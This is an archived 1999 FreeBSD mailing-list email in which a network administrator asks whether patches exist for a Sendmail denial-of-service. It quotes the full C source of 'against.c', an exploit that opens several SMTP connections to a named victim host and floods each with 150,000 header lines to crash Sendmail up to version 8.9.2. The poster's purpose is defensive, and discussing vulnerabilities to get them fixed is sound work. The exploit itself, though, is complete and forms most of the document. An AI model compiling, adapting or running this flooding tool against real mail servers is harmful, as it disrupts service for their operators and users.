From owner-freebsd-questions  Tue Jan 19 11:49:53 1999
Return-Path: <owner-freebsd-questions@FreeBSD.ORG>
Received: (from majordom@localhost)
          by hub.freebsd.org (8.8.8/8.8.8) id LAA29251
          for freebsd-questions-outgoing; Tue, 19 Jan 1999 11:49:53 -0800 (PST)
          (envelope-from owner-freebsd-questions@FreeBSD.ORG)
Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1])
          by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA29225;
          Tue, 19 Jan 1999 11:49:24 -0800 (PST)
          (envelope-from mike@sentex.net)
Received: from marble.sentex.ca (marble.sentex.ca [199.212.134.2]) by granite.sentex.net (8.8.8/8.6.9) with ESMTP id OAA02437; Tue, 19 Jan 1999 14:49:17 -0500 (EST)
Received: from leaverite (leaverite.sentex.ca [209.112.4.36])
	by marble.sentex.ca (8.8.8/8.8.8) with SMTP id OAA02866;
	Tue, 19 Jan 1999 14:49:17 -0500 (EST)
	(envelope-from mike@sentex.net)
Message-Id: <3.0.5.32.19990119145256.02a1a870@staff.sentex.ca>
X-Sender: mdtpop@staff.sentex.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Tue, 19 Jan 1999 14:52:56 -0500
To: questions@FreeBSD.ORG
From: Mike Tancsa <mike@sentex.net>
Subject: latest sendmail DOS
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-questions@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Are there any patches available for the Sendmail DOS below ?

Thanks,

	---Mike

/*
  against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
  (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

  Usage: ./against existing_user_on_victim_host victim_host
  Example: ./against nobody lamers.net

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 5
#define LINES   150000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[]) {
  
  printf("against.c - another Sendmail DoS (up to 8.9.2)\n");

  if (argc-3) {
    printf("Usage: %s victim_user victim_host\n",argv[0]);
    exit(0);
  }
    
  hp=gethostbyname(argv[2]);
  
  if (!hp) {
    perror("gethostbyname");
    exit(1);
  }

  fprintf(stderr,"Doing mess: ");

  for (;loop<MAXCONN;loop++) if (!(x=fork())) {
    FILE* d;
    bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
    s.sin_family=hp->h_addrtype;
    s.sin_port=htons(25);
    if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
    if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
    if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); }

    usleep(100000);

    fprintf(d,"helo tweety\n");
    fprintf(d,"mail from: tweety@polbox.com\n");
    fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
    fprintf(d,"data\n");

    usleep(100000);

    for(loop=0;loop<LINES;loop++) {
      if (!(loop%100)) fprintf(stderr,".");
      fprintf(d,"To: x\n");
    }

    fprintf(d,"\n\n\nsomedata\n\n\n");

    fprintf(d,".\n");

    sleep(1);

    fprintf(d,"quit\n");
    fflush(d);

    sleep(100);
    shutdown(suck,2);
    close(suck);
    exit(0);
  }

  waitpid(x,&loop,0);

  fprintf(stderr,"ok\n");

  return 0;
}

------------------------------------------------------------------------
Mike Tancsa,                          	          tel 01.519.651.3400
Network Administrator,     			  noc@sentex.net
Sentex Communications                 		  www.sentex.net
Cambridge, Ontario Canada

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message